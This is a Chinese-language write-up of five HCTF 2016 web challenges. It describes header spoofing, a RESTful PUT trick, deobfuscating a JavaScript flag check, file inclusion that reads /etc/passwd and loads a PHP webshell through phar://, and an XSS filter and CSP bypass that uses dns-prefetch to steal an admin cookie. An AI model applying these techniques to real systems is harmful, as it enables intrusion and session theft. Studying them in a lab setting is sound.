HCTF 2016 writeup——web篇

做了5個(gè)web題墩衙,分享一下思路甲抖。。

Level-1


1. 2099年的flag

打開鏈接准谚,提示需要ios99才能得到flag,源碼的注釋中提示要POST柱衔,那么就修改User-Agent頭為ios的頭,版本改成99就好了唆铐。

Level-2


1. RESTFUL

打開題目鏈接鏈接,有這么一句

{"message":""Please <PUT> me some <money> more than <12450>!""}

很容易想到艾岂,需要使用PUT方法,并傳遞一個(gè)大于12450的money參數(shù)王浴,結(jié)合題目名,聯(lián)想到RESTFUL API叼耙,最終構(gòu)造路徑:

http://jinja.hctf.io/index.php/money/12451

以PUT方式訪問即可得到flag

hctf{Do_you_know_12450?}

2. giligili

打開題目鏈接筛婉,提示需要填入hctf{...}形式的字符串,應(yīng)該就是flag了癞松。
查看源碼,發(fā)現(xiàn)一段混淆過的js代碼响蓉。
**1) 預(yù)處理 **
先去掉一些不會(huì)用到的變量,函數(shù)枫甲,然后整理扼褪,格式化一下粱栖。整個(gè)代碼大概可以分為三段:

  • 一個(gè)存儲(chǔ)了一些的函數(shù)對(duì)象“_”
  • 一個(gè)保存了訪問這些函數(shù)索引的數(shù)組“$”
  • 一個(gè)函數(shù)check,用來處理主要邏輯闹究。

2)計(jì)算answer
check函數(shù)同樣也分為幾個(gè)部分,我們注意到代碼中對(duì)answer進(jìn)行了分隔

o = answer.split("_");

所以圍繞o[0]渣淤,o[1],o[2]价认,o[3]看就好了

  • o[1]和o[2]
h = new MersenneTwister(parseInt(btoa(answer.substring(0, 4)), 32));
e = h.random() * 99;
e ^= h.mt[0];
l = new MersenneTwister(e);
l.random();l.random();l.random();
o = answer.split("_"); 
i = l.mt[~~(h.random() * 35725343) % 255];
s = ["0x" + i.toString(16), "0x" + e.toString(16).split("-")[1]];
e = -(this.eval(_[$[31]](o[1])) ^ s[0]); 
if (-e != 0x697a) return false;
e ^= (this.eval(_[$[31]](o[2])) ^ s[1]);
if (-e != 0x623f21c1) return false;

注意到開始對(duì)answer取了前4位,而answer的形式又是hctf{...}刻伊,所以這里就是“hctf”,帶進(jìn)去根據(jù)后面的兩個(gè)if判斷捶箱,可以算出o[1]和o[2]

  • o[0]和o[3]
o[0] = o[0].substring(5);
o[3] = o[3].substring(0, o[3].length - 1);
if (o[0].length > 5) return false;
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1];
if (parseInt(a.split("84")[1], $.length / 2) != 0x4439feb) return false;
d = parseInt(a, 16) == (Math.pow(2, 16) + -5 + "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear() - 1 + "");
i = 0xffff;
n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
g = 3;
t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
h = ((31249 * g) & i).toString(16);
i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
s = i == h;
return (p & t & s & d) === 1 || (p & t & s & d) === true;

注意到前面對(duì)o[0]和o[3]進(jìn)行了截取,這主要是為了去掉前面的“hctf{”和最后的“}”
然后從后往前看荠锭,要求p,t晨川,s证九,d都為真共虑,根據(jù)這個(gè)一點(diǎn)一點(diǎn)推,中間會(huì)遇到需要暴力猜解的情況妈拌,可以算出o[0]和o[3],最后拼起來就是flag了尘分。不過發(fā)現(xiàn)這個(gè)代碼邏輯有一點(diǎn)問題,不過最后猜了一下flag應(yīng)該是完整的一句話培愁,在這個(gè)代碼中是不能通過的,但是交上去通過了:

hctf{wh3r3_iz_y0ur_neee3eeed??}

3. 兵者多詭

// 這個(gè)跟之前的swpu的ctf很像定续,但是比較坑的是基本沒有提示禾锤。。时肿。所以沒有做過類似題目的很難有這個(gè)腦洞。
打開題目鏈接港粱,是一個(gè)圖片上傳頁面,上傳后會(huì)給出上傳后存儲(chǔ)的地址查坪。文件名會(huì)被修改為“隨機(jī)字符串.png”的形式
經(jīng)測(cè)試發(fā)現(xiàn)后臺(tái)并不檢測(cè)文件名和文件類型,只檢測(cè)Content-Type偿曙,但是由于對(duì)文件重命名了,所以無論如何上傳后都只能是png望忆。
但是發(fā)現(xiàn)上傳的請(qǐng)求url是這樣的形式:

/home.php?fp=upload

所以猜測(cè)后臺(tái)邏輯可能是include了一個(gè)upload文件進(jìn)行處理,那么試試將upload改成“../../../etc/passwd”:

/home.php?fp=../../../etc/passwd

頁面返回:

No No No!

說明猜測(cè)對(duì)了启摄,這樣我們可以試試讀取upload.php的源碼,是可以的歉备,那么和swpu類似,我們可以使用php的phar協(xié)議讀取壓縮文件中的文件蕾羊,從而實(shí)現(xiàn)命令執(zhí)行。
我們首先做一個(gè)一句話木馬shell.php龟再,然后壓縮成zip,然后將這個(gè)zip后綴改成“.png”后上傳利凑。
假設(shè)上傳后的圖片為路徑為“uploads/xxx.jpg”,那么我們?cè)L問這個(gè)url就可以將shell代碼包含到當(dāng)前頁面:

/home.php?fp=phar://uploads/shell

后臺(tái)會(huì)自動(dòng)給fp后面添上“.php”截碴,然后包含蛉威,這樣就可以命令執(zhí)行了,讀取到/var/www目錄下有一個(gè)“Th1s_1s_F1a9.php html ”蚯嫌,cat一下丙躏,然后查看源碼,找到flag:

hctf{Th1s_1s_e4sY_1s_n0T_1t?}

Level-3


1. guestbook

打開鏈接晒旅,有兩個(gè)輸入框message和code,有提示

substr(md5($code),0,4) =='cec6'

這個(gè)后面的“cec6”沒刷新一次就會(huì)變
很明顯要讓code的md5前四位等于cec6废恋,寫了一個(gè)腳本算了一下,用1000000以內(nèi)的數(shù)字去試就好了鱼鼓,正確會(huì)顯示提交成功,然后會(huì)提示:

AWAITING FOR THE ADMIN'S APPROVAL

并把提交的message的值顯示出來迄本,既然說等待管理員的同意嘛,然后又顯示我們提交的東西课竣,那么猜測(cè)是一個(gè)XSS。經(jīng)過測(cè)試于樟,有一些過濾,下面給出繞過方法:

  • 1.會(huì)將message中的“img”隔披,“svg”,“script”奢米,“on”刪掉
    雙寫繞過就好了(scrscriptipt)
  • 2.“/”換成“_”
    用escape之類的編碼一下就好了
  • 3.過濾了單引號(hào)
    用雙引號(hào),或者是反引號(hào)

然后響應(yīng)頭中還有CSP策略鬓长,看了一下限制挺多了,就不想了涉波,直接用dns預(yù)加載繞過,寫個(gè)腳本插入標(biāo)簽:

<link rel="dns-prefetch" >

這樣頁面就會(huì)發(fā)一個(gè)dns查詢請(qǐng)求啤覆,無視所有的CSP限制,這樣就可以用dnslog打到管理員cookie了:

admin=hctf2o16com30nag0gog0

以為這就是flag窗声,可惜不對(duì),所以繼續(xù)打管理頁面名字笨觅,然后帶著這個(gè)cookie訪問這個(gè)頁面就可以得到flag了拦耐。

  • Level-3還有個(gè)web看了下沒思路,就去睡覺了杀糯,總結(jié)還是太菜了。固翰。
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市倦挂,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌方援,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,372評(píng)論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件犯戏,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡先匪,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門坚俗,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人岸裙,你說我怎么就攤上這事〗翟剩” “怎么了?”我有些...
    開封第一講書人閱讀 162,415評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵剧董,是天一觀的道長(zhǎng)。 經(jīng)常有香客問我翅楼,道長(zhǎng),這世上最難降的妖魔是什么毅臊? 我笑而不...
    開封第一講書人閱讀 58,157評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘宠蚂。我一直安慰自己式撼,他們只是感情好求厕,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評(píng)論 6 388
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著美浦,像睡著了一般。 火紅的嫁衣襯著肌膚如雪项栏。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,125評(píng)論 1 297
  • 那天流酬,我揣著相機(jī)與錄音,去河邊找鬼列另。 笑死,一個(gè)胖子當(dāng)著我的面吹牛页衙,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播店乐,決...
    沈念sama閱讀 40,028評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼响巢!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起踪古,我...
    開封第一講書人閱讀 38,887評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎伏穆,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體枕扫,經(jīng)...
    沈念sama閱讀 45,310評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評(píng)論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了染簇。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,690評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡锻弓,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出蝌箍,到底是詐尸還是另有隱情,我是刑警寧澤妓盲,帶...
    沈念sama閱讀 35,411評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站悯衬,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏筋粗。R本人自食惡果不足惜贷币,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評(píng)論 3 325
  • 文/蒙蒙 一役纹、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧暇唾,春花似錦、人聲如沸策州。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至孽糖,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間办悟,已是汗流浹背尘奏。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評(píng)論 1 268
  • 我被黑心中介騙來泰國打工病蛉, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留瑰煎,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,693評(píng)論 2 368
  • 正文 我出身青樓酒甸,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國和親烘挫。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • 背景 一年多以前我在知乎上答了有關(guān)LeetCode的問題, 分享了一些自己做題目的經(jīng)驗(yàn)。 張土汪:刷leetcod...
    土汪閱讀 12,743評(píng)論 0 33
  • 不支持上傳文件其垄,所以就復(fù)制過來了。作者信息什么的都沒刪绿满。對(duì)前端基本屬于一竅不通,所以沒有任何修改喇颁,反正用著沒問題就...
    全棧在路上閱讀 1,959評(píng)論 0 2
  • An introduction to asynchronous Python原文 作者: Jake Edge 于2...
    公子小水閱讀 835評(píng)論 0 4
  • 每天都會(huì)有不同的進(jìn)步,也都會(huì)有不同的感悟橘霎,有時(shí)候要求一件事太過完美蔫浆,反而為難自己姐叁,放輕松,努力去做外潜,剩下的交給上天來安排
    沁沐閱讀 250評(píng)論 0 0
  • 【閱讀】《硅谷鋼鐵俠:埃隆·馬斯克的冒險(xiǎn)人生》 “你決定做特斯拉的時(shí)候,電動(dòng)車還沒今天這么火处窥,哪些因素讓你判斷這是...
    TracyTung閱讀 284評(píng)論 0 0